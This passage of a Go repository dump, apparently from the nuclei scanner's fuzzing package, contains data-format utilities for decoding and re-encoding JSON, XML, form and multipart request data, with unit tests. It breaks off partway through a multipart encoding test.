    "content": "package component\n\nimport (\n\t\"reflect\"\n\t\"strconv\"\n\n\t\"github.com/leslie-qiwa/flat\"\n\t\"github.com/logrusorgru/aurora\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat\"\n)\n\n// Value is a value component containing a single\n// parameter for the component\n//\n// It is a type of container that is used to represent\n// all the data values that are used in a request.\ntype Value struct {\n\tdata       string\n\tparsed     dataformat.KV\n\tdataFormat string\n}\n\n// NewValue returns a new value component\nfunc NewValue(data string) *Value {\n\tif data == \"\" {\n\t\treturn &Value{}\n\t}\n\tv := &Value{data: data}\n\n\t// Do any dataformat decoding on the data if needed\n\tdecodedDataformat, err := dataformat.Decode(data)\n\tif err == nil && decodedDataformat != nil {\n\t\tv.SetParsed(decodedDataformat.Data, decodedDataformat.DataFormat)\n\t}\n\treturn v\n}\n\n// Clones current state of this value\nfunc (v *Value) Clone() *Value {\n\treturn &Value{\n\t\tdata:       v.data,\n\t\tparsed:     v.parsed.Clone(),\n\t\tdataFormat: v.dataFormat,\n\t}\n}\n\n// String returns the string representation of the value\nfunc (v *Value) String() string {\n\treturn v.data\n}\n\n// Parsed returns the parsed value\nfunc (v *Value) Parsed() dataformat.KV {\n\treturn v.parsed\n}\n\n// SetParsed sets the parsed value map\nfunc (v *Value) SetParsed(data dataformat.KV, dataFormat string) {\n\tv.dataFormat = dataFormat\n\tif data.OrderedMap != nil {\n\t\tv.parsed = data\n\t\treturn\n\t}\n\tparsed := data.Map\n\tflattened, err := flat.Flatten(parsed, flatOpts)\n\tif err == nil {\n\t\tv.parsed = dataformat.KVMap(flattened)\n\t} else {\n\t\tv.parsed = dataformat.KVMap(parsed)\n\t}\n}\n\n// SetParsedValue sets the parsed value for a key\n// in the parsed map\nfunc (v *Value) SetParsedValue(key, value string) bool {\n\tif key == \"\" {\n\t\treturn false\n\t}\n\n\torigValue := v.parsed.Get(key)\n\tif origValue == nil {\n\t\tv.parsed.Set(key, value)\n\t\treturn true\n\t}\n\n\t// TODO(dwisiswant0): I'm sure that this can be simplified because\n\t// `dataformat.KV.*` is a type of `mapsutil.*` where the value is `any`. So,\n\t// it looks like we won't type conversion here or even have its own methods\n\t// inside `dataformat.KV`.\n\n\t// If the value is a list, append to it\n\t// otherwise replace it\n\tswitch v := origValue.(type) {\n\tcase []interface{}:\n\t\t// update last value\n\t\tif len(v) > 0 {\n\t\t\tv[len(v)-1] = value\n\t\t}\n\t\torigValue = v\n\tcase string:\n\t\torigValue = value\n\tcase int, int32, int64, float32, float64:\n\t\tparsed, err := strconv.ParseInt(value, 10, 64)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\torigValue = parsed\n\tcase bool:\n\t\tparsed, err := strconv.ParseBool(value)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\torigValue = parsed\n\tdefault:\n\t\t// explicitly check for typed slice\n\t\tif val, ok := IsTypedSlice(v); ok {\n\t\t\tif len(val) > 0 {\n\t\t\t\tval[len(val)-1] = value\n\t\t\t}\n\t\t\torigValue = val\n\t\t} else {\n\t\t\t// make it default warning instead of error\n\t\t\tgologger.DefaultLogger.Print().Msgf(\"[%v] unknown type %T for value %s\", aurora.BrightYellow(\"WARN\"), v, v)\n\t\t}\n\t}\n\tv.parsed.Set(key, origValue)\n\treturn true\n}\n\n// Delete removes a key from the parsed value\nfunc (v *Value) Delete(key string) bool {\n\treturn v.parsed.Delete(key)\n}\n\n// Encode encodes the value into a string\n// using the dataformat and encoding\nfunc (v *Value) Encode() (string, error) {\n\ttoEncodeStr := v.data\n\tif v.parsed.OrderedMap != nil {\n\t\t// flattening orderedmap not supported\n\t\tif v.dataFormat != \"\" {\n\t\t\tdataformatStr, err := dataformat.Encode(v.parsed, v.dataFormat)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\ttoEncodeStr = dataformatStr\n\t\t}\n\t\treturn toEncodeStr, nil\n\t}\n\n\tnested, err := flat.Unflatten(v.parsed.Map, flatOpts)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif v.dataFormat != \"\" {\n\t\tdataformatStr, err := dataformat.Encode(dataformat.KVMap(nested), v.dataFormat)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\ttoEncodeStr = dataformatStr\n\t}\n\treturn toEncodeStr, nil\n}\n\n// In go, []int, []string are not implictily converted to []interface{}\n// when using type assertion and they need to be handled separately.\nfunc IsTypedSlice(v interface{}) ([]interface{}, bool) {\n\tif reflect.ValueOf(v).Kind() == reflect.Slice {\n\t\t// iterate and convert to []interface{}\n\t\tslice := reflect.ValueOf(v)\n\t\tinterfaceSlice := make([]interface{}, slice.Len())\n\t\tfor i := 0; i < slice.Len(); i++ {\n\t\t\tinterfaceSlice[i] = slice.Index(i).Interface()\n\t\t}\n\t\treturn interfaceSlice, true\n\t}\n\treturn nil, false\n}\n"
  },
  {
    "path": "pkg/fuzz/component/value_test.go",
    "content": "package component\n\nimport (\n\t\"testing\"\n\n\t\"github.com/leslie-qiwa/flat\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestFlatMap_FlattenUnflatten(t *testing.T) {\n\tdata := map[string]interface{}{\n\t\t\"foo\": \"bar\",\n\t\t\"bar\": map[string]interface{}{\n\t\t\t\"baz\": \"foo\",\n\t\t},\n\t\t\"slice\": []interface{}{\n\t\t\t\"foo\",\n\t\t\t\"bar\",\n\t\t},\n\t\t\"with.dot\": map[string]interface{}{\n\t\t\t\"foo\": \"bar\",\n\t\t},\n\t}\n\n\topts := &flat.Options{\n\t\tSafe:      true,\n\t\tDelimiter: \"~\",\n\t}\n\tflattened, err := flat.Flatten(data, opts)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tnested, err := flat.Unflatten(flattened, opts)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\trequire.Equal(t, data, nested, \"unexpected data\")\n}\n\nfunc TestAnySlice(t *testing.T) {\n\tdata := []any{}\n\tdata = append(data, []int{1, 2, 3})\n\tdata = append(data, []string{\"foo\", \"bar\"})\n\tdata = append(data, []bool{true, false})\n\tdata = append(data, []float64{1.1, 2.2, 3.3})\n\n\tfor _, d := range data {\n\t\tval, ok := IsTypedSlice(d)\n\t\trequire.True(t, ok, \"expected slice\")\n\t\trequire.True(t, val != nil, \"expected value but got nil\")\n\t}\n}\n"
  },
  {
    "path": "pkg/fuzz/dataformat/dataformat.go",
    "content": "package dataformat\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n)\n\n// dataformats is a list of dataformats\nvar dataformats map[string]DataFormat\n\nconst (\n\t// DefaultKey is the key i.e used when given\n\t// data is not of k-v type\n\tDefaultKey = \"value\"\n)\n\nfunc init() {\n\tdataformats = make(map[string]DataFormat)\n\n\t// register the default data formats\n\tRegisterDataFormat(NewJSON())\n\tRegisterDataFormat(NewXML())\n\tRegisterDataFormat(NewRaw())\n\tRegisterDataFormat(NewForm())\n\tRegisterDataFormat(NewMultiPartForm())\n}\n\nconst (\n\t// JSONDataFormat is the name of the JSON data format\n\tJSONDataFormat = \"json\"\n\t// XMLDataFormat is the name of the XML data format\n\tXMLDataFormat = \"xml\"\n\t// RawDataFormat is the name of the Raw data format\n\tRawDataFormat = \"raw\"\n\t// FormDataFormat is the name of the Form data format\n\tFormDataFormat = \"form\"\n\t// MultiPartFormDataFormat is the name of the MultiPartForm data format\n\tMultiPartFormDataFormat = \"multipart/form-data\"\n)\n\n// Get returns the dataformat by name\nfunc Get(name string) DataFormat {\n\treturn dataformats[name]\n}\n\n// RegisterEncoder registers an encoder\nfunc RegisterDataFormat(dataformat DataFormat) {\n\tdataformats[dataformat.Name()] = dataformat\n}\n\n// DataFormat is an interface for encoding and decoding\ntype DataFormat interface {\n\t// IsType returns true if the data is of the type\n\tIsType(data string) bool\n\t// Name returns the name of the encoder\n\tName() string\n\t// Encode encodes the data into a format\n\tEncode(data KV) (string, error)\n\t// Decode decodes the data from a format\n\tDecode(input string) (KV, error)\n}\n\n// Decoded is a decoded data format\ntype Decoded struct {\n\t// DataFormat is the data format\n\tDataFormat string\n\t// Data is the decoded data\n\tData KV\n}\n\n// Decode decodes the data from a format\nfunc Decode(data string) (*Decoded, error) {\n\tfor _, dataformat := range dataformats {\n\t\tif dataformat.IsType(data) {\n\t\t\tdecoded, err := dataformat.Decode(data)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tvalue := &Decoded{\n\t\t\t\tDataFormat: dataformat.Name(),\n\t\t\t\tData:       decoded,\n\t\t\t}\n\t\t\treturn value, nil\n\t\t}\n\t}\n\treturn nil, nil\n}\n\n// Encode encodes the data into a format\nfunc Encode(data KV, dataformat string) (string, error) {\n\tif dataformat == \"\" {\n\t\treturn \"\", errors.New(\"dataformat is required\")\n\t}\n\tif encoder, ok := dataformats[dataformat]; ok {\n\t\treturn encoder.Encode(data)\n\t}\n\treturn \"\", fmt.Errorf(\"dataformat %s is not supported\", dataformat)\n}\n"
  },
  {
    "path": "pkg/fuzz/dataformat/dataformat_test.go",
    "content": "package dataformat\n\nimport (\n\t\"testing\"\n)\n\nfunc TestDataformatDecodeEncode_JSON(t *testing.T) {\n\tobj := `{\"foo\":\"bar\"}`\n\n\tdecoded, err := Decode(obj)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif decoded.DataFormat != \"json\" {\n\t\tt.Fatal(\"unexpected data format\")\n\t}\n\tif decoded.Data.Get(\"foo\") != \"bar\" {\n\t\tt.Fatal(\"unexpected data\")\n\t}\n\n\tencoded, err := Encode(decoded.Data, decoded.DataFormat)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif encoded != obj {\n\t\tt.Fatal(\"unexpected data\")\n\t}\n}\n\nfunc TestDataformatDecodeEncode_XML(t *testing.T) {\n\tobj := `<foo attr=\"baz\">bar</foo>`\n\n\tdecoded, err := Decode(obj)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif decoded.DataFormat != \"xml\" {\n\t\tt.Fatal(\"unexpected data format\")\n\t}\n\tfooValue := decoded.Data.Get(\"foo\")\n\tif fooValue == nil {\n\t\tt.Fatal(\"key 'foo' not found\")\n\t}\n\tfooMap, ok := fooValue.(map[string]interface{})\n\tif !ok {\n\t\tt.Fatal(\"type assertion to map[string]interface{} failed\")\n\t}\n\tif fooMap[\"#text\"] != \"bar\" {\n\t\tt.Fatal(\"unexpected data for '#text'\")\n\t}\n\tif fooMap[\"-attr\"] != \"baz\" {\n\t\tt.Fatal(\"unexpected data for '-attr'\")\n\t}\n\n\tencoded, err := Encode(decoded.Data, decoded.DataFormat)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif encoded != obj {\n\t\tt.Fatal(\"unexpected data\")\n\t}\n}\n"
  },
  {
    "path": "pkg/fuzz/dataformat/form.go",
    "content": "package dataformat\n\nimport (\n\t\"fmt\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nconst (\n\tnormalizedRegex = `_(\\d+)$`\n)\n\nvar (\n\treNormalized = regexp.MustCompile(normalizedRegex)\n)\n\n// == Handling Duplicate Query Parameters / Form Data ==\n// Nuclei supports fuzzing duplicate query parameters by internally normalizing\n// them and denormalizing them back when creating request this normalization\n// can be leveraged to specify custom fuzzing behaviour in template as well\n// if a query like `?foo=bar&foo=baz&foo=fuzzz` is provided, it will be normalized to\n// foo_1=bar , foo_2=baz , foo=fuzzz (i.e last value is given original key which is usual behaviour in HTTP and its implementations)\n// this way this change does not break any existing rules in template given by keys-regex or keys\n// At same time if user wants to specify 2nd or 1st duplicate value in template, they can use foo_1 or foo_2 in keys-regex or keys\n// Note: By default all duplicate query parameters are fuzzed\n\ntype Form struct{}\n\nvar (\n\t_ DataFormat = &Form{}\n)\n\n// NewForm returns a new Form encoder\nfunc NewForm() *Form {\n\treturn &Form{}\n}\n\n// IsType returns true if the data is Form encoded\nfunc (f *Form) IsType(data string) bool {\n\treturn false\n}\n\n// Encode encodes the data into Form format\nfunc (f *Form) Encode(data KV) (string, error) {\n\tparams := urlutil.NewOrderedParams()\n\n\tdata.Iterate(func(key string, value any) bool {\n\t\tparams.Add(key, fmt.Sprint(value))\n\t\treturn true\n\t})\n\n\tnormalized := map[string]map[string]string{}\n\t// Normalize the data\n\tfor _, origKey := range data.OrderedMap.GetKeys() {\n\t\t// here origKey is base key without _1, _2 etc.\n\t\tif origKey != \"\" && !reNormalized.MatchString(origKey) {\n\t\t\tparams.Iterate(func(key string, value []string) bool {\n\t\t\t\tif strings.HasPrefix(key, origKey) && reNormalized.MatchString(key) {\n\t\t\t\t\tm := map[string]string{}\n\t\t\t\t\tif normalized[origKey] != nil {\n\t\t\t\t\t\tm = normalized[origKey]\n\t\t\t\t\t}\n\t\t\t\t\tif len(value) == 1 {\n\t\t\t\t\t\tm[key] = value[0]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tm[key] = \"\"\n\t\t\t\t\t}\n\t\t\t\t\tnormalized[origKey] = m\n\t\t\t\t\tparams.Del(key)\n\t\t\t\t}\n\t\t\t\treturn true\n\t\t\t})\n\t\t}\n\t}\n\n\tif len(normalized) > 0 {\n\t\tfor k, v := range normalized {\n\t\t\tmaxIndex := -1\n\t\t\tfor key := range v {\n\t\t\t\tmatches := reNormalized.FindStringSubmatch(key)\n\t\t\t\tif len(matches) == 2 {\n\t\t\t\t\tdataIdx, err := strconv.Atoi(matches[1])\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tgologger.Verbose().Msgf(\"error converting normalized index(%v) to integer: %v\", matches[1], err)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif dataIdx > maxIndex {\n\t\t\t\t\t\tmaxIndex = dataIdx\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif maxIndex >= 0 { // Ensure the slice is only created if maxIndex is valid\n\t\t\t\tdata := make([]string, maxIndex+1) // Ensure the slice is large enough\n\t\t\t\tfor key, value := range v {\n\t\t\t\t\tmatches := reNormalized.FindStringSubmatch(key)\n\t\t\t\t\tif len(matches) == 2 {\n\t\t\t\t\t\tdataIdx, err := strconv.Atoi(matches[1]) // Error already checked above\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tgologger.Verbose().Msgf(\"error converting data index to integer: %v\", err)\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Validate dataIdx to avoid index out of range errors\n\t\t\t\t\t\tif dataIdx > 0 && dataIdx <= len(data) {\n\t\t\t\t\t\t\tdata[dataIdx-1] = value // Use dataIdx-1 since slice is 0-indexed\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tgologger.Verbose().Msgf(\"data index out of range: %d\", dataIdx)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif len(params.Get(k)) > 0 {\n\t\t\t\t\tdata[maxIndex] = fmt.Sprint(params.Get(k)) // Use maxIndex which is the last index\n\t\t\t\t}\n\t\t\t\t// remove existing\n\t\t\t\tparams.Del(k)\n\t\t\t\tif len(data) > 0 {\n\t\t\t\t\tparams.Add(k, data...)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tencoded := params.Encode()\n\treturn encoded, nil\n}\n\n// Decode decodes the data from Form format\nfunc (f *Form) Decode(data string) (KV, error) {\n\tordered_params := urlutil.NewOrderedParams()\n\tordered_params.Merge(data)\n\n\tvalues := mapsutil.NewOrderedMap[string, any]()\n\tordered_params.Iterate(func(key string, value []string) bool {\n\t\tif len(value) == 1 {\n\t\t\tvalues.Set(key, value[0])\n\t\t} else {\n\t\t\t// in case of multiple query params in form data\n\t\t\t// last value is considered and previous values are exposed with _1, _2, _3 etc.\n\t\t\t// note that last value will not be included in _1, _2, _3 etc.\n\t\t\tfor i := 0; i < len(value)-1; i++ {\n\t\t\t\tvalues.Set(key+\"_\"+strconv.Itoa(i+1), value[i])\n\t\t\t}\n\t\t\tvalues.Set(key, value[len(value)-1])\n\t\t}\n\t\treturn true\n\t})\n\treturn KVOrderedMap(&values), nil\n}\n\n// Name returns the name of the encoder\nfunc (f *Form) Name() string {\n\treturn FormDataFormat\n}\n"
  },
  {
    "path": "pkg/fuzz/dataformat/json.go",
    "content": "package dataformat\n\nimport (\n\t\"strings\"\n\n\tjsoniter \"github.com/json-iterator/go\"\n)\n\n// JSON is a JSON encoder\n//\n// For now JSON only supports objects as the root data type\n// and not arrays\n//\n// TODO: Support arrays + other JSON oddities by\n// adding more attributes to the map[string]interface{}\ntype JSON struct{}\n\nvar (\n\t_ DataFormat = &JSON{}\n)\n\n// NewJSON returns a new JSON encoder\nfunc NewJSON() *JSON {\n\treturn &JSON{}\n}\n\n// IsType returns true if the data is JSON encoded\nfunc (j *JSON) IsType(data string) bool {\n\treturn strings.HasPrefix(data, \"{\") && strings.HasSuffix(data, \"}\")\n}\n\n// Encode encodes the data into JSON format\nfunc (j *JSON) Encode(data KV) (string, error) {\n\tencoded, err := jsoniter.Marshal(data.Map)\n\treturn string(encoded), err\n}\n\n// Decode decodes the data from JSON format\nfunc (j *JSON) Decode(data string) (KV, error) {\n\tvar decoded map[string]interface{}\n\terr := jsoniter.Unmarshal([]byte(data), &decoded)\n\treturn KVMap(decoded), err\n}\n\n// Name returns the name of the encoder\nfunc (j *JSON) Name() string {\n\treturn JSONDataFormat\n}\n"
  },
  {
    "path": "pkg/fuzz/dataformat/kv.go",
    "content": "package dataformat\n\nimport (\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\t\"golang.org/x/exp/maps\"\n)\n\n// KV is a key-value struct\n// that is implemented or used by fuzzing package\n// to represent a key-value pair\n// sometimes order or key-value pair is important (query params)\n// so we use ordered map to represent the data\n// if it's not important/significant (ex: json,xml) we use map\n// this also allows us to iteratively implement ordered map\ntype KV struct {\n\tMap        mapsutil.Map[string, any]\n\tOrderedMap *mapsutil.OrderedMap[string, any]\n}\n\n// Clones the current state of the KV struct\nfunc (kv *KV) Clone() KV {\n\tnewKV := KV{}\n\tif kv.OrderedMap == nil {\n\t\tnewKV.Map = maps.Clone(kv.Map)\n\t\treturn newKV\n\t}\n\tclonedOrderedMap := kv.OrderedMap.Clone()\n\tnewKV.OrderedMap = &clonedOrderedMap\n\treturn newKV\n}\n\n// IsNIL returns true if the KV struct is nil\nfunc (kv *KV) IsNIL() bool {\n\treturn kv.Map == nil && kv.OrderedMap == nil\n}\n\n// IsOrderedMap returns true if the KV struct is an ordered map\nfunc (kv *KV) IsOrderedMap() bool {\n\treturn kv.OrderedMap != nil\n}\n\n// Set sets a value in the KV struct\nfunc (kv *KV) Set(key string, value any) {\n\tif kv.OrderedMap != nil {\n\t\tkv.OrderedMap.Set(key, value)\n\t\treturn\n\t}\n\tif kv.Map == nil {\n\t\tkv.Map = make(map[string]interface{})\n\t}\n\tkv.Map[key] = value\n}\n\n// Get gets a value from the KV struct\nfunc (kv *KV) Get(key string) interface{} {\n\tif kv.OrderedMap != nil {\n\t\tvalue, ok := kv.OrderedMap.Get(key)\n\t\tif !ok {\n\t\t\treturn nil\n\t\t}\n\t\treturn value\n\t}\n\treturn kv.Map[key]\n}\n\n// Iterate iterates over the KV struct in insertion order\nfunc (kv *KV) Iterate(f func(key string, value any) bool) {\n\tif kv.OrderedMap != nil {\n\t\tkv.OrderedMap.Iterate(func(key string, value any) bool {\n\t\t\treturn f(key, value)\n\t\t})\n\t\treturn\n\t}\n\tfor key, value := range kv.Map {\n\t\tif !f(key, value) {\n\t\t\tbreak\n\t\t}\n\t}\n}\n\n// Delete deletes a key from the KV struct\nfunc (kv *KV) Delete(key string) bool {\n\tif kv.OrderedMap != nil {\n\t\t_, ok := kv.OrderedMap.Get(key)\n\t\tif !ok {\n\t\t\treturn false\n\t\t}\n\t\tkv.OrderedMap.Delete(key)\n\t\treturn true\n\t}\n\t_, ok := kv.Map[key]\n\tif !ok {\n\t\treturn false\n\t}\n\tdelete(kv.Map, key)\n\treturn true\n}\n\n// KVMap returns a new KV struct with the given map\nfunc KVMap(data map[string]interface{}) KV {\n\treturn KV{Map: data}\n}\n\n// KVOrderedMap returns a new KV struct with the given ordered map\nfunc KVOrderedMap(data *mapsutil.OrderedMap[string, any]) KV {\n\treturn KV{OrderedMap: data}\n}\n\n// ToMap converts the ordered map to a map\nfunc ToMap(m *mapsutil.OrderedMap[string, any]) map[string]interface{} {\n\tdata := make(map[string]interface{})\n\tm.Iterate(func(key string, value any) bool {\n\t\tdata[key] = value\n\t\treturn true\n\t})\n\treturn data\n}\n\n// ToOrderedMap converts the map to an ordered map\nfunc ToOrderedMap(data map[string]interface{}) *mapsutil.OrderedMap[string, any] {\n\tm := mapsutil.NewOrderedMap[string, any]()\n\tfor key, value := range data {\n\t\tm.Set(key, value)\n\t}\n\treturn &m\n}\n"
  },
  {
    "path": "pkg/fuzz/dataformat/multipart.go",
    "content": "package dataformat\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime\"\n\t\"mime/multipart\"\n\t\"net/textproto\"\n\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\ntype MultiPartForm struct {\n\tboundary      string\n\tfilesMetadata map[string]FileMetadata\n}\n\ntype FileMetadata struct {\n\tContentType string\n\tFilename    string\n}\n\nvar (\n\t_ DataFormat = &MultiPartForm{}\n)\n\n// NewMultiPartForm returns a new MultiPartForm encoder\nfunc NewMultiPartForm() *MultiPartForm {\n\treturn &MultiPartForm{\n\t\tfilesMetadata: make(map[string]FileMetadata),\n\t}\n}\n\n// SetFileMetadata sets the file metadata for a given field name\nfunc (m *MultiPartForm) SetFileMetadata(fieldName string, metadata FileMetadata) {\n\tif m.filesMetadata == nil {\n\t\tm.filesMetadata = make(map[string]FileMetadata)\n\t}\n\n\tm.filesMetadata[fieldName] = metadata\n}\n\n// GetFileMetadata gets the file metadata for a given field name\nfunc (m *MultiPartForm) GetFileMetadata(fieldName string) (FileMetadata, bool) {\n\tif m.filesMetadata == nil {\n\t\treturn FileMetadata{}, false\n\t}\n\n\tmetadata, exists := m.filesMetadata[fieldName]\n\n\treturn metadata, exists\n}\n\n// IsType returns true if the data is MultiPartForm encoded\nfunc (m *MultiPartForm) IsType(data string) bool {\n\t// This method should be implemented to detect if the data is multipart form encoded\n\treturn false\n}\n\n// Encode encodes the data into MultiPartForm format\nfunc (m *MultiPartForm) Encode(data KV) (string, error) {\n\tvar b bytes.Buffer\n\tw := multipart.NewWriter(&b)\n\tif err := w.SetBoundary(m.boundary); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar Itererr error\n\tdata.Iterate(func(key string, value any) bool {\n\t\tvar fw io.Writer\n\t\tvar err error\n\n\t\tif fileMetadata, ok := m.filesMetadata[key]; ok {\n\t\t\tif filesArray, isArray := value.([]any); isArray {\n\t\t\t\tfor _, file := range filesArray {\n\t\t\t\t\th := make(textproto.MIMEHeader)\n\t\t\t\t\th.Set(\"Content-Disposition\",\n\t\t\t\t\t\tfmt.Sprintf(`form-data; name=%q; filename=%q`,\n\t\t\t\t\t\t\tkey, fileMetadata.Filename))\n\t\t\t\t\th.Set(\"Content-Type\", fileMetadata.ContentType)\n\n\t\t\t\t\tif fw, err = w.CreatePart(h); err != nil {\n\t\t\t\t\t\tItererr = err\n\t\t\t\t\t\treturn false\n\t\t\t\t\t}\n\n\t\t\t\t\tif _, err = fw.Write([]byte(file.(string))); err != nil {\n\t\t\t\t\t\tItererr = err\n\t\t\t\t\t\treturn false\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\n\t\t// Add field\n\t\tvar values []string\n\t\tswitch v := value.(type) {\n\t\tcase nil:\n\t\t\tvalues = []string{\"\"}\n\t\tcase string:\n\t\t\tvalues = []string{v}\n\t\tcase []string:\n\t\t\tvalues = v\n\t\tcase []any:\n\t\t\tvalues = make([]string, len(v))\n\t\t\tfor i, item := range v {\n\t\t\t\tif item == nil {\n\t\t\t\t\tvalues[i] = \"\"\n\t\t\t\t} else {\n\t\t\t\t\tvalues[i] = fmt.Sprint(item)\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\tvalues = []string{fmt.Sprintf(\"%v\", v)}\n\t\t}\n\n\t\tfor _, val := range values {\n\t\t\tif fw, err = w.CreateFormField(key); err != nil {\n\t\t\t\tItererr = err\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tif _, err = fw.Write([]byte(val)); err != nil {\n\t\t\t\tItererr = err\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\treturn true\n\t})\n\tif Itererr != nil {\n\t\treturn \"\", Itererr\n\t}\n\n\t_ = w.Close()\n\treturn b.String(), nil\n}\n\n// ParseBoundary parses the boundary from the content type\nfunc (m *MultiPartForm) ParseBoundary(contentType string) error {\n\t_, params, err := mime.ParseMediaType(contentType)\n\tif err != nil {\n\t\treturn err\n\t}\n\tm.boundary = params[\"boundary\"]\n\tif m.boundary == \"\" {\n\t\treturn fmt.Errorf(\"no boundary found in the content type\")\n\t}\n\n\t// NOTE(dwisiswant0): boundary cannot exceed 70 characters according to\n\t// RFC-2046.\n\tif len(m.boundary) > 70 {\n\t\treturn fmt.Errorf(\"boundary exceeds maximum length of 70 characters\")\n\t}\n\n\treturn nil\n}\n\n// Decode decodes the data from MultiPartForm format\nfunc (m *MultiPartForm) Decode(data string) (KV, error) {\n\tif m.boundary == \"\" {\n\t\treturn KV{}, fmt.Errorf(\"boundary not set, call ParseBoundary first\")\n\t}\n\n\t// Create a buffer from the string data\n\tb := bytes.NewBufferString(data)\n\tr := multipart.NewReader(b, m.boundary)\n\n\tform, err := r.ReadForm(32 << 20) // 32MB is the max memory used to parse the form\n\tif err != nil {\n\t\treturn KV{}, err\n\t}\n\tdefer func() {\n\t\t_ = form.RemoveAll()\n\t}()\n\n\tresult := mapsutil.NewOrderedMap[string, any]()\n\tfor key, values := range form.Value {\n\t\tif len(values) > 1 {\n\t\t\tresult.Set(key, values)\n\t\t} else {\n\t\t\tresult.Set(key, values[0])\n\t\t}\n\t}\n\n\tif m.filesMetadata == nil {\n\t\tm.filesMetadata = make(map[string]FileMetadata)\n\t}\n\n\tfor key, files := range form.File {\n\t\tfileContents := []interface{}{}\n\t\tvar fileMetadataList []FileMetadata\n\n\t\tfor _, fileHeader := range files {\n\t\t\tfile, err := fileHeader.Open()\n\t\t\tif err != nil {\n\t\t\t\treturn KV{}, err\n\t\t\t}\n\n\t\t\tbuffer := new(bytes.Buffer)\n\t\t\tif _, err := buffer.ReadFrom(file); err != nil {\n\t\t\t\t_ = file.Close()\n\n\t\t\t\treturn KV{}, err\n\t\t\t}\n\t\t\t_ = file.Close()\n\n\t\t\tfileContents = append(fileContents, buffer.String())\n\n\t\t\tfileMetadataList = append(fileMetadataList, FileMetadata{\n\t\t\t\tContentType: fileHeader.Header.Get(\"Content-Type\"),\n\t\t\t\tFilename:    fileHeader.Filename,\n\t\t\t})\n\t\t}\n\n\t\tresult.Set(key, fileContents)\n\n\t\t// NOTE(dwisiswant0): store the first file's metadata instead of the\n\t\t// last one\n\t\tif len(fileMetadataList) > 0 {\n\t\t\tm.filesMetadata[key] = fileMetadataList[0]\n\t\t}\n\t}\n\treturn KVOrderedMap(&result), nil\n}\n\n// Name returns the name of the encoder\nfunc (m *MultiPartForm) Name() string {\n\treturn \"multipart/form-data\"\n}\n"
  },
  {
    "path": "pkg/fuzz/dataformat/multipart_test.go",
    "content": "package dataformat\n\nimport (\n\t\"testing\"\n\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestMultiPartFormEncode(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tfields   map[string]any\n\t\twantErr  bool\n\t\texpected map[string]any\n\t}{\n\t\t{\n\t\t\tname: \"duplicate fields ([]string) - checkbox scenario\",\n\t\t\tfields: map[string]any{\n\t\t\t\t\"interests\": []string{\"sports\", \"music\", \"reading\"},\n\t\t\t\t\"colors\":    []string{\"red\", \"blue\"},\n\t\t\t},\n\t\t\texpected: map[string]any{\n\t\t\t\t\"interests\": []string{\"sports\", \"music\", \"reading\"},\n\t\t\t\t\"colors\":    []string{\"red\", \"blue\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"single string fields - backward compatibility\",\n\t\t\tfields: map[string]any{\n\t\t\t\t\"username\": \"john\",\n\t\t\t\t\"email\":    \"john@example.com\",\n\t\t\t},\n\t\t\texpected: map[string]any{\n\t\t\t\t\"username\": \"john\",\n\t\t\t\t\"email\":    \"john@example.com\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"mixed types\",\n\t\t\tfields: map[string]any{\n\t\t\t\t\"string\":     \"text\",\n\t\t\t\t\"array\":      []string{\"item1\", \"item2\"},\n\t\t\t\t\"number\":     42,                            // tests fmt.Sprint fallback\n\t\t\t\t\"float\":      3.14,                          // tests float conversion\n\t\t\t\t\"boolean\":    true,                          // tests boolean conversion\n\t\t\t\t\"zero\":       0,                             // tests zero value\n\t\t\t\t\"emptyStr\":   \"\",                            // tests empty string\n\t\t\t\t\"negative\":   -123,                          // tests negative number\n\t\t\t\t\"nil\":        nil,                           // tests nil value\n\t\t\t\t\"mixedArray\": []any{\"str\", 123, false, nil}, // tests mixed type array\n\t\t\t},\n\t\t\texpected: 